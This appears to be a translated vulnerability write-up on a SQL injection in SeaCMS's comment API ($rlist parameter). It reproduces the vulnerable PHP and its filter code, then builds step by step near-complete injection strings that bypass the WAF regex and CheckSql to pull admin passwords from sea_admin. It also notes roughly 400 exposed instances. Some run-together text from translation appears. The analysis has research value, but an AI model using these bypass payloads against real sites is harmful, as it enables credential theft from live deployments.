0x01 Preface
Xu provided this vulnerability for me to analyze—an excellent find.
0x02 SeaCMS Overview
SeaCMS is a PHP 5.x + MySQL video-on-demand management system. FOFA returns over 400 visible instances:

0x03 Analysis
Vulnerable file:./comment/api/index.php, vulnerable parameter:$rlist
For clarity, and because the file is short, its contents are reproduced for analysis:
The relevant content is:
<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
createTextFile($h,$jsoncachefile);
}
die($h);
function ReadData($id,$page)
{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}
function Readmlist($id,$page,$size)
{
global $dsql,$type,$pCount,$rlist;
$rlist = str_ireplace('@', "", $rlist);
$rlist = str_ireplace('/*', "", $rlist);
$rlist = str_ireplace('*/', "", $rlist);
$rlist = str_ireplace('*!', "", $rlist);
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist' );
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}
function Readrlist($ids,$page,$size)
{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}
function ReadReplyID($gid,$cmid,&$rlist)
{
global $dsql;
$rlist = str_ireplace('@', "", $rlist);
$rlist = str_ireplace('/*', "", $rlist);
$rlist = str_ireplace('*/', "", $rlist);
$rlist = str_ireplace('*!', "", $rlist);
if($cmid>0)
{
if(!in_array($cmid,$rlist))$rlist[]=$cmid;
$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
if(is_array($row))
{
$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);
}else
{
$ReplyID = "";
}
}else
{
$ReplyID = "";
}
return $ReplyID;
}
function FormatJson($json)
{
$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
for($i=6;$i>=0;$i--)
{
$x=str_replace("%".$i."%",$json[$i],$x);
}
$formatJson = jsonescape($x);
return $formatJson;
}
function jsonescape($txt)
{
$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));
return $jsonescape;
}
First include the external file:require_once("../../include/common.php");
The file includes the common inspection file on line 2:require_once('webscan/webscan.php');
The common inspection file places the GET value intowebscan_StopAttack()applies a regular expression with this rule:
//get拦截规则
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
...
preg_match("/".$ArrFiltReq."/is",$StrFiltValue)
//$StrFiltValue为我们传入的每一个参数的值
//$ArrFiltReq为$getfilter变量
After bypassing the regular expression, return to common.phpContinue down the file:
uses foreach to assign global parameter variables. For a GET request:
foreach($_GET as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER|_FILES|_SESSION)',$_k))
{
Header("Location:$jpurl");
exit('err2');
}
}
First checks the variable length, then passes it tom_eregi()function; its contents are:
function m_eregi($reg,$p){
$nreg=chgreg($reg)."i";
return preg_match(chgreg($reg),$p);
}
chgreg()The function is:
function chgreg($reg){
$nreg=str_replace("/","\\/",$reg);
return "/".$nreg."/";
}
Combined, the code above is equivalent to:
preg_match('/^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_REQUEST|_SERVER|_FILES|_SESSION)/i',$_k)
This checks whether the parameter contains any listed string and redirects to the home page if so. It was intended to fix variable-overwrite flaws in earlier releases; see:https://xz.aliyun.com/t/6198 , summarizes variable-overwrite vulnerabilities in historical SeaCMS releases.
After these checks, the GET parameter value is available. Return to./comment/api/index.phpContinue in the file:
function ReadData($id,$page)
{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}
First enterReadmlist()function:
function Readmlist($id,$page,$size)
{
global $dsql,$type,$pCount,$rlist;
$rlist = str_ireplace('@', "", $rlist);
$rlist = str_ireplace('/*', "", $rlist);
$rlist = str_ireplace('*/', "", $rlist);
$rlist = str_ireplace('*!', "", $rlist);
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist' );
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}
First process$rlistchecks the variable string; if it contains@、/*、*/、*!characters, those characters are removed, then$type、$idand related variables enter the SQL statement, which is executed and its result displayed.
break out ofReadmlist()Return toReadData()function and continue downward.
using,as a connector to join$rlistjoins the array elements into a string and assigns it to$x, and finally$xpass inReadrlist()function; inspect its contents:
function Readrlist($ids,$page,$size)
{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}
$xis the function's$idsvariable is inserted directly into the SQL statement, then placed insetQuery()function. InspectsetQuery()function:
function SetQuery($sql)
{
$prefix="sea_";
$sql = str_replace($prefix,$this->dbPrefix,$sql);
$this->queryString = $sql;
}
takes the SQL statement'ssea_replace with$this->dbPrefix(configured as$cfg_dbprefix = '~dbprefix~';) before returning the SQL statement, which is then passed toExecute():
function Execute($id="me", $sql='')
{
global $dsql;
self::$i++;
if($dsql->isClose)
{
$this->Open(false);
$dsql->isClose = false;
}
if(!empty($sql))
{
$this->SetQuery($sql);
}
//SQL语句安全检查
if($this->safeCheck)
{
CheckSql($this->queryString);
}
$t1 = ExecTime();
$this->result[$id] = mysqli_query($this->linkID,$this->queryString);
if($this->result[$id]===false)
{
$this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
}
}
This function checks the SQL for security issues and executes it only if it is deemed safe.
CheckSql($this->queryString);The function is:
function CheckSql($db_string,$querytype='select')
{
global $cfg_cookie_encode;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = sea_INC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
$userIP = GetIP();
$getUrl = GetCurUrl();
$db_string = str_ireplace('--', "", $db_string);
$db_string = str_ireplace('/*', "", $db_string);
$db_string = str_ireplace('*/', "", $db_string);
$db_string = str_ireplace('*!', "", $db_string);
$db_string = str_ireplace('//', "", $db_string);
$db_string = str_ireplace('\\', "", $db_string);
$db_string = str_ireplace('hex', "he", $db_string);
$db_string = str_ireplace('updatexml', "updatexm", $db_string);
$db_string = str_ireplace('extractvalue', "extractvalu", $db_string);
$db_string = str_ireplace('benchmark', "benchmar", $db_string);
$db_string = str_ireplace('sleep', "slee", $db_string);
$db_string = str_ireplace('load_file', "load-file", $db_string);
$db_string = str_ireplace('outfile', "out-file", $db_string);
$db_string = str_ireplace('ascii', "asci", $db_string);
$db_string = str_ireplace('char(', "cha", $db_string);
$db_string = str_ireplace('substr', "subst", $db_string);
$db_string = str_ireplace('substring', "substrin", $db_string);
$db_string = str_ireplace('script', "scrip", $db_string);
$db_string = str_ireplace('frame', "fram", $db_string);
$db_string = str_ireplace('information_schema', "information-schema", $db_string);
$db_string = str_ireplace('exp', "ex", $db_string);
$db_string = str_ireplace('GeometryCollection', "GeometryCollectio", $db_string);
$db_string = str_ireplace('polygon', "polygo", $db_string);
$db_string = str_ireplace('multipoint', "multipoin", $db_string);
$db_string = str_ireplace('multilinestring', "multilinestrin", $db_string);
$db_string = str_ireplace('linestring', "linestrin", $db_string);
$db_string = str_ireplace('multipolygon', "multipolygo", $db_string);
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//$notallow2 = "--|/\*";
if(m_eregi($notallow1,$db_string)){exit('SQL check');}
if(m_eregi('<script',$db_string)){exit('SQL check');}
if(m_eregi('/script',$db_string)){exit('SQL check');}
if(m_eregi('script>',$db_string)){exit('SQL check');}
if(m_eregi('if:',$db_string)){exit('SQL check');}
if(m_eregi('--',$db_string)){exit('SQL check');}
if(m_eregi('char(',$db_string)){exit('SQL check');}
if(m_eregi('*/',$db_string)){exit('SQL check');}
}
//完整的SQL检查
while (true)
{
$pos = stripos($db_string, '\'', $pos + 1);
if ($pos === false)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true)
{
$pos1 = stripos($db_string, '\'', $pos + 1);
$pos2 = stripos($db_string, '\\', $pos + 1);
if ($pos1 === false)
{
break;
}
elseif ($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (stripos($clean, '@') !== FALSE OR stripos($clean,'char(')!== FALSE OR stripos($clean,'script>')!== FALSE OR stripos($clean,'<script')!== FALSE OR stripos($clean,'"')!== FALSE OR stripos($clean,'$s$$s$')!== FALSE)
{
$fail = TRUE;
if(preg_match("#^create table#i",$clean)) $fail = FALSE;
$error="unusual character";
}
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
if (stripos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="union detect";
}
//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
elseif (stripos($clean, '/*') > 2 || stripos($clean, '--') !== false || stripos($clean, '#') !== false)
{
$fail = true;
$error="comment detect";
}
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (stripos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="sleep detect";
}
elseif (stripos($clean, 'updatexml') !== false && preg_match('~(^|[^a-z])updatexml($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="updatexml detect";
}
elseif (stripos($clean, 'extractvalue') !== false && preg_match('~(^|[^a-z])extractvalue($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="extractvalue detect";
}
elseif (stripos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="benchmark detect";
}
elseif (stripos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="file fun detect";
}
elseif (stripos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="file fun detect";
}
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{
$fail = true;
$error="sub select detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}
}
The entire vulnerability chain is now complete:

Two points are essential to finding the vulnerability:
-
Bypassing webscan_StopAttack()
-
How to Bypass It
CheckSql()function's validation
The first key point is that a conventional injection statement looks likeunion select 1,2,3,4,5,6,7,pass,9 from admin --form
But this point's regular expression filtersunion selectform:
UNION.+?SELECT\s*
This type of filter is easy to bypass with familiar WAF techniques such as%23%0a bypasses the filter as follows:
union%23%0aselect%23%0a1,2,3,4,5,6,7,pass,9 from admin --
(For additional techniques, see:https://www.secpulse.com/archives/53328.html)
The second key point isCheckSql()performs extensive filtering. Originally written by 80sec, it was modified by the SeaCMS developer:


The author added filters that remove sensitive characters and keywords. Ironically, this extra processing makes the filters bypassable.
A characteristic of the 80sec injection filter is that content between two single quotes is replaced with the string$s$for replacement, such asinsert into admin(username,passdord) value ('admin','hello')is replaced withinsert into admin(username,passdord) value ($s$,$s$)
This behavior can make$cleanvariable no longer contains sensitive words, bypassingCheckSql()function check
MySQL defines variables with @; for example, useset @panda=’test’to assign the variable
To construct a valid single quote here, place @' in the SQL statement and use it to bypass the check.
Although detection has been bypassed, the added single quote breaks the original SQL. The injection must be adjusted to use a comment marker (/*/*/、#) to comment out the single quote.
The statement is therefore:
/*@`'`,*/UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin-- @`'`
But now return toReadmlist()At the beginning of the function:
global $dsql,$type,$pCount,$rlist;
$rlist = str_ireplace('@', "", $rlist);
$rlist = str_ireplace('/*', "", $rlist);
$rlist = str_ireplace('*/', "", $rlist);
$rlist = str_ireplace('*!', "", $rlist);
These characters are removed. Passing them directly breaks the comment marker and still fails.
Note, however, that$rlistis a global variable, so inReadmlist()function's processed value is preserved and passed toReadrlist()function, as the flowchart above shows. Passing the statement constructed above directly causes it to be filtered into:
`'`,UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin-- `'`
This would clearly produce an SQL error. Duplicate the symbols to reconstruct the comment marker:
//**@`'`,**@//UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin--%20@`'`
This statement first entersReadmlist()function, becoming
/*@`'`,*/UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin-- @`'`
Then pass it onward toReadrlist()function, after replacement it becomes:
`'`,UNION%20SELECT%23%0a1,password,3,4,5,6,7,8,9,10,11%23%0afrom%23%0asea_admin `'`
Two single quotes are constructed successfully, producing this final statement:$s$, bypassing every filter.
If that were all, the filter would still hold. Although the detection is bypassed, the SQL after multiple transformations is not yet what we need. Passing mysqli_query()will fail when executed.
The interesting part is:


After passing through CheckSql()The SQL statement filtered by the function is never passed to mysqli_query()to execute. Inmysqli_query()executes the original value, whileReadmlist()function's processed statement. Here, CheckSql()only decides whether to allow the request; it never modifies the SQL that will execute.
The final value passed into mysqli_query()executes the SQL shown below:

Final execution result:

0x04 Closing Notes
No final payload is provided, leaving two pitfalls. The article contains enough detail: pay attention to parameter types and encoding to construct the payload. The larger lesson is that more filtering is not necessarily better; what matters is whether the final execution point is safe.